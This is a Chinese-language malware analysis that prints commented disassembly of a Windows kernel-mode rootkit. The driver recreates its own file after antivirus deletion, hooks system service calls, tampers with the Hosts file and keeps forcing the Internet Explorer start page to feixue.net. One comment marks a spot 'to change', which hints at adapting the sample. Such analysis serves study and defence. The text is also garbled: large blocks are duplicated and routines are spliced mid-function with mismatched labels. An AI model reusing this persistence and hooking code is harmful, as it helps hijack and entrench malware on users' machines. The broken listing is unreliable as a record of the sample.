首先是由于这个驱动是注册为在Boot Bus Extender组里的,所以在操作系统加载时,该驱动就会被加载
这时会执行DriverReinitializationRoutine这个例程:
; *************** S U B R O U T I N E ***************************************
DriverReinitializationRoutine proc near
DriverObject = dword ptr 4
call Test_SystemRoot
;调用测试系统根目录的代码,检测系统根目录是否加载成功
test eax, eax
jnz short Root_Loaded
;若加载成功,则跳往Root_Loaded
push eax ; Context
push offset DriverReinitializationRoutine ; DriverReinitializationRoutine
push [esp+8+DriverObject] ; DriverObject
call ds:IoRegisterDriverReinitialization
;若不成功,则调用Reinitialization函数,直到Root加载成功为止
jmp short locret_116EC
Root_Loaded:
push 1
call ReCreateSYSFile
;若加载成功,则传入参数1,跳往ReCreateSYSFile.作用是检查自身的驱动文件及服务项是否存在
;l若不存在(被杀毒软件等杀掉)就重新建立,以达到其杀而复活的目的
locret_116EC:
retn 0Ch
DriverReinitializationRoutine endp
;以下是这个ReCreateSYSFile函数
; *************** S U B R O U T I N E ***************************************
ReCreateSYSFile proc near
; start+12Ep
FileHandle = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push esi
push 104h ; size_t
lea eax, [ebp+FileHandle]
push 0 ; int
push eax ; void *
call memset
push offset unk_11B30
;这里存放着驱动的随机文件名
lea eax, [ebp+FileHandle]
push offset s_SystemrootS_1 ; "[url=file://\\SystemRoot\\system32\\drivers\\%s.sys]\\SystemRoot\\system32\\drivers\\%s.sys[/url]"
push eax ; char *
call ds:sprintf
;生成当前驱动的随机文件名
mov esi, ds:__imp_ZwClose
add esp, 18h
cmp [ebp+arg_0], 1
;检测arg_0参数是否为1
;如果=1则是在刚才在Reinit那里传入的,继续,否则跳loc_115d1
jnz short loc_115D1
mov eax, Handle
test eax, eax
jz short loc_115C0
;Handle是否为0
;为0则跳loc_11520
push eax ; Handle
call esi ; __imp_ZwClose
;不为0,关闭文件
and Handle, 0
;handle清0
loc_115C0:
push offset dword_12050 ; int
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call ReCreateFile
;调用文件重建子程序
loc_115D1:
cmp [ebp+arg_0], 0
jnz short loc_115FB
;若是Reinit那里push 1的,则跳loc_115fb
mov eax, dword_12050
test eax, eax
jz short loc_115EA
push eax ; Handle
call esi ; __imp_ZwClose
and dword_12050, 0
loc_115EA:
push offset Handle ; int
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call ReCreateFile
loc_115FB:
;这里结束此子程序
pop esi
leave
retn 4
sub_1156A endp
;;下面是文件重建子程序:
;;ReCreateFile
; *************** S U B R O U T I N E ***************************************
; Attributes: bp-based frame
; int __stdcall sub_109D2(HANDLE FileHandle,int)
ReCreateFile proc near
ObjectAttributes= OBJECT_ATTRIBUTES ptr -34h
IoStatusBlock = _IO_STATUS_BLOCK ptr -1Ch
DestinationString= STRING ptr -14h
UnicodeString = UNICODE_STRING ptr -0Ch
var_4 = dword ptr -4
FileHandle = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 34h
push esi
xor esi, esi
cmp [ebp+FileHandle], esi
mov [ebp+var_4], esi
jz loc_10AA0
push [ebp+FileHandle] ; SourceString
lea eax, [ebp+DestinationString]
push eax ; DestinationString
call ds:RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, [ebp+DestinationString]
push eax ; SourceString
lea eax, [ebp+UnicodeString]
push eax ; DestinationString
call ds:RtlAnsiStringToUnicodeString
;ansi字符串转 unicode字符串,因内核函数接口参数都必须用unicode编码
cmp eax, esi
jl loc_10AA0
lea ecx, [ebp+UnicodeString]
push ebx
mov [ebp+ObjectAttributes.ObjectName], ecx
mov ecx, [ebp+arg_4]
cmp [ecx+4], esi
push edi
mov edi, ds:ZwCreateFile
mov [ebp+ObjectAttributes.Length], 18h
mov [ebp+ObjectAttributes.RootDirectory], esi
mov [ebp+ObjectAttributes.Attributes], 240h
mov [ebp+ObjectAttributes.SecurityDescriptor], esi
mov [ebp+ObjectAttributes.SecurityQualityOfService], esi
mov ebx, 80h
jnz short loc_10A5B
push esi ; EaLength
push esi ; EaBuffer
push 40h ; CreateOptions
push 1 ; CreateDisposition
push 1 ; ShareAccess
push ebx ; FileAttributes
push esi ; AllocationSize
lea eax, [ebp+IoStatusBlock]
push eax ; IoStatusBlock
lea eax, [ebp+ObjectAttributes]
push eax ; ObjectAttributes
push 80000000h ; DesiredAccess
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call edi ; ZwCreateFile
;调用ZwCreateFile来创建文件
loc_10A5B:
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+4], 1
jnz short loc_10A81
push esi ; EaLength
push esi ; EaBuffer
push 40h ; CreateOptions
push 1 ; CreateDisposition
push 1 ; ShareAccess
push ebx ; FileAttributes
push esi ; AllocationSize
lea eax, [ebp+IoStatusBlock]
push eax ; IoStatusBlock
lea eax, [ebp+ObjectAttributes]
push eax ; ObjectAttributes
push 10000h ; DesiredAccess
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call edi ; ZwCreateFile
loc_10A81: cmp eax, esi
pop edi
pop ebx
jl short loc_10A96
mov eax, [ebp+FileHandle]
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov [ebp+var_4], 1
loc_10A96:
lea eax, [ebp+UnicodeString]
push eax ; UnicodeString
call ds:RtlFreeUnicodeString
loc_10AA0:
mov eax, [ebp+var_4]
pop esi
leave
retn 8
sub_109D2 endp
以上就是驱动在操作系统 加载时所做的事,主要就是还原及占住自身,防止被杀毒软件的重启后删除或驱动程序破坏
这时会执行DriverReinitializationRoutine这个例程:
; *************** S U B R O U T I N E ***************************************
DriverReinitializationRoutine proc near
DriverObject = dword ptr 4
call Test_SystemRoot
;调用测试系统根目录的代码,检测系统根目录是否加载成功
test eax, eax
jnz short Root_Loaded
;若加载成功,则跳往Root_Loaded
push eax ; Context
push offset DriverReinitializationRoutine ; DriverReinitializationRoutine
push [esp+8+DriverObject] ; DriverObject
call ds:IoRegisterDriverReinitialization
;若不成功,则调用Reinitialization函数,直到Root加载成功为止
jmp short locret_116EC
Root_Loaded:
push 1
call ReCreateSYSFile
;若加载成功,则传入参数1,跳往ReCreateSYSFile.作用是检查自身的驱动文件及服务项是否存在
;l若不存在(被杀毒软件等杀掉)就重新建立,以达到其杀而复活的目的
locret_116EC:
retn 0Ch
DriverReinitializationRoutine endp
;以下是这个ReCreateSYSFile函数
; *************** S U B R O U T I N E ***************************************
ReCreateSYSFile proc near
; start+12Ep
FileHandle = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push esi
push 104h ; size_t
lea eax, [ebp+FileHandle]
push 0 ; int
push eax ; void *
call memset
push offset unk_11B30
;这里存放着驱动的随机文件名
lea eax, [ebp+FileHandle]
push offset s_SystemrootS_1 ; "[url=file://\\SystemRoot\\system32\\drivers\\%s.sys]\\SystemRoot\\system32\\drivers\\%s.sys[/url]"
push eax ; char *
call ds:sprintf
;生成当前驱动的随机文件名
mov esi, ds:__imp_ZwClose
add esp, 18h
cmp [ebp+arg_0], 1
;检测arg_0参数是否为1
;如果=1则是在刚才在Reinit那里传入的,继续,否则跳loc_115d1
jnz short loc_115D1
mov eax, Handle
test eax, eax
jz short loc_115C0
;Handle是否为0
;为0则跳loc_11520
push eax ; Handle
call esi ; __imp_ZwClose
;不为0,关闭文件
and Handle, 0
;handle清0
loc_115C0:
push offset dword_12050 ; int
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call ReCreateFile
;调用文件重建子程序
loc_115D1:
cmp [ebp+arg_0], 0
jnz short loc_115FB
;若是Reinit那里push 1的,则跳loc_115fb
mov eax, dword_12050
test eax, eax
jz short loc_115EA
push eax ; Handle
call esi ; __imp_ZwClose
and dword_12050, 0
loc_115EA:
push offset Handle ; int
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call ReCreateFile
loc_115FB:
;这里结束此子程序
pop esi
leave
retn 4
sub_1156A endp
;;下面是文件重建子程序:
;;ReCreateFile
; *************** S U B R O U T I N E ***************************************
; Attributes: bp-based frame
; int __stdcall sub_109D2(HANDLE FileHandle,int)
ReCreateFile proc near
ObjectAttributes= OBJECT_ATTRIBUTES ptr -34h
IoStatusBlock = _IO_STATUS_BLOCK ptr -1Ch
DestinationString= STRING ptr -14h
UnicodeString = UNICODE_STRING ptr -0Ch
var_4 = dword ptr -4
FileHandle = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 34h
push esi
xor esi, esi
cmp [ebp+FileHandle], esi
mov [ebp+var_4], esi
jz loc_10AA0
push [ebp+FileHandle] ; SourceString
lea eax, [ebp+DestinationString]
push eax ; DestinationString
call ds:RtlInitAnsiString
push 1 ; AllocateDestinationString
lea eax, [ebp+DestinationString]
push eax ; SourceString
lea eax, [ebp+UnicodeString]
push eax ; DestinationString
call ds:RtlAnsiStringToUnicodeString
;ansi字符串转 unicode字符串,因内核函数接口参数都必须用unicode编码
cmp eax, esi
jl loc_10AA0
lea ecx, [ebp+UnicodeString]
push ebx
mov [ebp+ObjectAttributes.ObjectName], ecx
mov ecx, [ebp+arg_4]
cmp [ecx+4], esi
push edi
mov edi, ds:ZwCreateFile
mov [ebp+ObjectAttributes.Length], 18h
mov [ebp+ObjectAttributes.RootDirectory], esi
mov [ebp+ObjectAttributes.Attributes], 240h
mov [ebp+ObjectAttributes.SecurityDescriptor], esi
mov [ebp+ObjectAttributes.SecurityQualityOfService], esi
mov ebx, 80h
jnz short loc_10A5B
push esi ; EaLength
push esi ; EaBuffer
push 40h ; CreateOptions
push 1 ; CreateDisposition
push 1 ; ShareAccess
push ebx ; FileAttributes
push esi ; AllocationSize
lea eax, [ebp+IoStatusBlock]
push eax ; IoStatusBlock
lea eax, [ebp+ObjectAttributes]
push eax ; ObjectAttributes
push 80000000h ; DesiredAccess
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call edi ; ZwCreateFile
;调用ZwCreateFile来创建文件
loc_10A5B:
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+4], 1
jnz short loc_10A81
push esi ; EaLength
push esi ; EaBuffer
push 40h ; CreateOptions
push 1 ; CreateDisposition
push 1 ; ShareAccess
push ebx ; FileAttributes
push esi ; AllocationSize
lea eax, [ebp+IoStatusBlock]
push eax ; IoStatusBlock
lea eax, [ebp+ObjectAttributes]
push eax ; ObjectAttributes
push 10000h ; DesiredAccess
lea eax, [ebp+FileHandle]
push eax ; FileHandle
call edi ; ZwCreateFile
loc_10A81: cmp eax, esi
pop edi
pop ebx
jl short loc_10A96
mov eax, [ebp+FileHandle]
mov ecx, [ebp+arg_4]
mov [ecx], eax
mov [ebp+var_4], 1
loc_10A96:
lea eax, [ebp+UnicodeString]
push eax ; UnicodeString
call ds:RtlFreeUnicodeString
loc_10AA0:
mov eax, [ebp+var_4]
pop esi
leave
retn 8
sub_109D2 endp
以上就是驱动在操作系统 加载时所做的事,主要就是还原及占住自身,防止被杀毒软件的重启后删除或驱动程序破坏
start proc near
;以下是驱动程序启动时执行的代码
AnsiString = STRING ptr -14h
SourceString = UNICODE_STRING ptr -0Ch
var_4 = dword ptr -4
DriverObject = dword ptr 8
Handle = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push edi
push [ebp+Handle]
xor edi, edi
mov [ebp+var_4], edi
call sub_11600
test eax, eax
jz short loc_11725
mov eax, 0C0000001h
jmp loc_1186F
loc_11725:
push ebx
push esi
push 104h ; size_t
push edi ; int
push offset unk_11B30 ; void *
call memset
mov esi, 208h
push esi ; size_t
push edi ; int
mov ebx, offset word_11C38
push ebx ; void *
call memset
push esi ; size_t
push edi ; int
mov esi, offset unk_11E40
push esi ; void *
call memset
mov eax, [ebp+Handle]
movzx ecx, word ptr [eax]
push ecx ; size_t
push dword ptr [eax+4] ; void *
push esi ; void *
call memcpy
push esi ; wchar_t *
call ds:_wcslwr
push 5Ch ; wchar_t
push esi ; wchar_t *
call ds:wcsrchr
add esp, 3Ch
cmp eax, edi
jz loc_1186A
add eax, 2
push eax ; SourceString
lea eax, [ebp+SourceString]
push eax ; DestinationString
call ds:RtlInitUnicodeString
movzx eax, [ebp+SourceString.Length]
push eax ; size_t
push [ebp+SourceString.Buffer] ; void *
push ebx ; void *
call memcpy
push ebx ; wchar_t *
call ds:_wcslwr
add esp, 10h
push 1 ; AllocateDestinationString
lea eax, [ebp+SourceString]
push eax ; SourceString
lea eax, [ebp+AnsiString]
push eax ; DestinationString
call ds:RtlUnicodeStringToAnsiString
cmp eax, edi
mov [ebp+var_4], eax
jl loc_1186A
movzx eax, [ebp+AnsiString.Length]
push eax ; size_t
push [ebp+AnsiString.Buffer] ; void *
mov esi, offset unk_11B30
push esi ; void *
call memcpy
push esi ; char *
call ds:_strlwr
add esp, 10h
call GetEPAddress
;此子程序的用处是取得进程名在Eprocess中偏移
mov esi, ds
;这里就是要改的位置了!
;registry\user\%ws\Software\Microsoft\Internet Explorer\Main
push edi ; size_t
push ebx ; wchar_t *
call ds:_snwprintf
add esp, 1Ch
push [ebp+SourceString] ; SourceString
push ebx ; Handle
call sub_10FC6
;这个子程序就是在写Main里面的 StartPage了!
inc [ebp+Index]
push esi ; size_t
push 0 ; int
push [ebp+P] ; void *
call memset
add esp, 0Ch
lea eax, [ebp+ResultLength]
push eax ; ResultLength
push esi ; KeyInformationLength
push [ebp+P] ; KeyInformation
push 0 ; KeyInformationClass
push [ebp+Index] ; Index
loc_11161: ; CODE XREF: sub_11074+A4j
push [ebp+Handle] ; KeyHandle
;这里是枚举KEY!
call off_1190C
;其实这里是ZwEnumerateKey
;被HOOK了!
test eax, eax
jge short loc_1111A
push ebx ; P
call ds:ExFreePool
loc_11175: ; CODE XREF: sub_11074+88j
push [ebp+P] ; P
call ds:ExFreePool
loc_1117E: ; CODE XREF: sub_11074+73j
push [ebp+Handle] ; Handle
call off_11904
;写完了调用被HOOK前的ZwCloseKey函数!
pop edi
pop ebx
loc_11189: ; CODE XREF: sub_11074+4Aj
xor eax, eax
inc eax
pop esi
leave
retn 4
Wrtie_StartPage endp
;综上,StartRoutine的主要作用就是
;1.挂钩系统服务表
;2.篡改Hosts表
;3.死循环,不停重写IE设置为feixue.net
;以下是驱动程序启动时执行的代码
AnsiString = STRING ptr -14h
SourceString = UNICODE_STRING ptr -0Ch
var_4 = dword ptr -4
DriverObject = dword ptr 8
Handle = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push edi
push [ebp+Handle]
xor edi, edi
mov [ebp+var_4], edi
call sub_11600
test eax, eax
jz short loc_11725
mov eax, 0C0000001h
jmp loc_1186F
loc_11725:
push ebx
push esi
push 104h ; size_t
push edi ; int
push offset unk_11B30 ; void *
call memset
mov esi, 208h
push esi ; size_t
push edi ; int
mov ebx, offset word_11C38
push ebx ; void *
call memset
push esi ; size_t
push edi ; int
mov esi, offset unk_11E40
push esi ; void *
call memset
mov eax, [ebp+Handle]
movzx ecx, word ptr [eax]
push ecx ; size_t
push dword ptr [eax+4] ; void *
push esi ; void *
call memcpy
push esi ; wchar_t *
call ds:_wcslwr
push 5Ch ; wchar_t
push esi ; wchar_t *
call ds:wcsrchr
add esp, 3Ch
cmp eax, edi
jz loc_1186A
add eax, 2
push eax ; SourceString
lea eax, [ebp+SourceString]
push eax ; DestinationString
call ds:RtlInitUnicodeString
movzx eax, [ebp+SourceString.Length]
push eax ; size_t
push [ebp+SourceString.Buffer] ; void *
push ebx ; void *
call memcpy
push ebx ; wchar_t *
call ds:_wcslwr
add esp, 10h
push 1 ; AllocateDestinationString
lea eax, [ebp+SourceString]
push eax ; SourceString
lea eax, [ebp+AnsiString]
push eax ; DestinationString
call ds:RtlUnicodeStringToAnsiString
cmp eax, edi
mov [ebp+var_4], eax
jl loc_1186A
movzx eax, [ebp+AnsiString.Length]
push eax ; size_t
push [ebp+AnsiString.Buffer] ; void *
mov esi, offset unk_11B30
push esi ; void *
call memcpy
push esi ; char *
call ds:_strlwr
add esp, 10h
call GetEPAddress
;此子程序的用处是取得进程名在Eprocess中偏移
mov esi, ds
;registry\user\%ws\Software\Microsoft\Internet Explorer\Main
push edi ; size_t
push ebx ; wchar_t *
call ds:_snwprintf
add esp, 1Ch
push [ebp+SourceString] ; SourceString
push ebx ; Handle
call sub_10FC6
;这个子程序就是在写Main里面的 StartPage了!
inc [ebp+Index]
push esi ; size_t
push 0 ; int
push [ebp+P] ; void *
call memset
add esp, 0Ch
lea eax, [ebp+ResultLength]
push eax ; ResultLength
push esi ; KeyInformationLength
push [ebp+P] ; KeyInformation
push 0 ; KeyInformationClass
push [ebp+Index] ; Index
loc_11161: ; CODE XREF: sub_11074+A4j
push [ebp+Handle] ; KeyHandle
;这里是枚举KEY!
call off_1190C
;其实这里是ZwEnumerateKey
;被HOOK了!
test eax, eax
jge short loc_1111A
push ebx ; P
call ds:ExFreePool
loc_11175: ; CODE XREF: sub_11074+88j
push [ebp+P] ; P
call ds:ExFreePool
loc_1117E: ; CODE XREF: sub_11074+73j
push [ebp+Handle] ; Handle
call off_11904
;写完了调用被HOOK前的ZwCloseKey函数!
pop edi
pop ebx
loc_11189: ; CODE XREF: sub_11074+4Aj
xor eax, eax
inc eax
pop esi
leave
retn 4
Wrtie_StartPage endp
;综上,StartRoutine的主要作用就是
;1.挂钩系统服务表
;2.篡改Hosts表
;3.死循环,不停重写IE设置为feixue.net